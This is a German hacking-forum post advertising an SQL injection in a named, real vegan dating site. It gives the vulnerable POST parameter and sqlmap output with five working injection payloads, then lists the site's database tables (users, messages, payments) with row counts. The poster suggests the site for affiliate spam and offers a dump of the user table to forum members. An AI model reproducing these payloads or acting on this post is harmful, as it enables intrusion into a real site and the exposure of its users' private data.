Keine Antworten in diesem Thema

[Payload]

https://www.veganesingles.de/singles.php Post Parameter "sex"

sqlmap identified the following injection point(s) with a total of 94 HTTP(s) requests:
---
Parameter: sex (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: sex=-7936' OR 8634=8634-- MZJT

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: sex=test' AND (SELECT 5538 FROM(SELECT COUNT(*),CONCAT(0x7176787071,(SELECT (ELT(5538=5538,1))),0x717a626a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- WmKz

    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: sex=test';SELECT SLEEP(5)#

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: sex=test' AND (SELECT 5527 FROM (SELECT(SLEEP(5)))ojYw)-- XLEz

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: sex=test' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7176787071,0x564d616352667553784d7962776d666846594d4a516e4f4976456a55516c4b727972784a4f615555,0x717a626a71),NULL,NULL,NULL-- DwJM
---

Database: martin6_veganesingles
+-------------------------+---------+
| Table                   | Entries |
+-------------------------+---------+
| user_visits             | 90885   |
| message                 | 19435   |
| user_profile_interesse  | 12962   |
| user_smiles             | 10018   |
| user_profile_musikstil  | 5633    |
| user_photo              | 5530    |
| user_profile_sport      | 5311    |
| user_profile            | 5253    |
| user_stats              | 5253    |
| `user`                  | 5242    |
| user_favoriten          | 3047    |
| user_profile_ernaehrung | 2811    |
| chat_message            | 2207    |
| user_profile_haustiere  | 2141    |
| statistik               | 766     |
| user_abos_history       | 336     |
| user_log                | 326     |
| pay                     | 317     |
| user_abos               | 231     |
| profil_options          | 222     |
| user_suchen             | 184     |
| user_block              | 98      |
| texte                   | 76      |
| forum_entry             | 24      |
| settings                | 23      |
| payment_method          | 12      |
| abos_laufzeiten         | 8       |
| forum_topic             | 7       |
| online                  | 7       |
| forum_category          | 6       |
| user_status             | 6       |
| `domain`                | 4       |
| abos                    | 4       |
| message_folder          | 4       |
| lookup                  | 3       |
| preregister             | 1       |
+-------------------------+---------+

Perfekt um affiliate Links zu spammen.
Dump der "`user`" Table:

Versteckter Inhalt
Klicke auf den Danke-Button um den versteckten Inhalt sehen zu können. Nur registrierte Mitglieder haben Zugriff hierauf.

Bearbeitet von Payload, 06 February 2020 - 12:54 Uhr.